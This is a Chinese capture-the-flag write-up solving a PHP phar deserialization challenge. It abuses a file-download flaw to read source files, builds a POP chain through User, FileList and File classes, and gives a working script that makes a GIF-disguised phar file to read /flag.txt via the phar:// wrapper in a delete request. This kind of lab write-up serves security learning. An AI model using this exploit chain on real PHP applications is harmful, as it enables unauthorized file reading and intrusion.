题目:
一.注册用户
用户名:admin 密码 admin
二.随便上传(是否有文件上传漏洞)
三.有下载功能(bp抓包一下)
四.有文件下载漏洞(下载index.php,class.php,download.php,delete.php)
题目标签提示是一道反序列化的题目,但是没有找到明显的可以输入序列化数据的地方。
我们了解一下另一种利用反序列化的手段:phar反序列化。
必须要看这篇文章。
https://xz.aliyun.com/t/2715
本题是否符合phar反序列化的条件?
1. phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
五.造pop链和phar反序列化。提取一下class.php中的要用的方法。
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
}
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
char.php
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array();
$this->results = array();
$this->funcs = array();
$file = new File();
$file->filename = '/flag.txt';
array_push($this->files, $file);
}
}
$user = new User();
$filelist = new FileList();
$user->db = $filelist;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
$phar->addFromString("123.txt", "123");
$phar->stopBuffering();
?>
执行之后回生成一个.phar文件,但是执行前需要
将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
修改php.ini后,执行phar.php。在同目录下生成了一个phar.phar文件。
将其改名为phar.gif
上传。
该怎么利用?
在download.php中有这么一条语句。
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
说明
只可以访问当前目录、/etc和/tmp三个目录
还好我们可以在delete.php的删除功能下操作。
点击删除,burp抓包,修改filename为: phar://phar.gif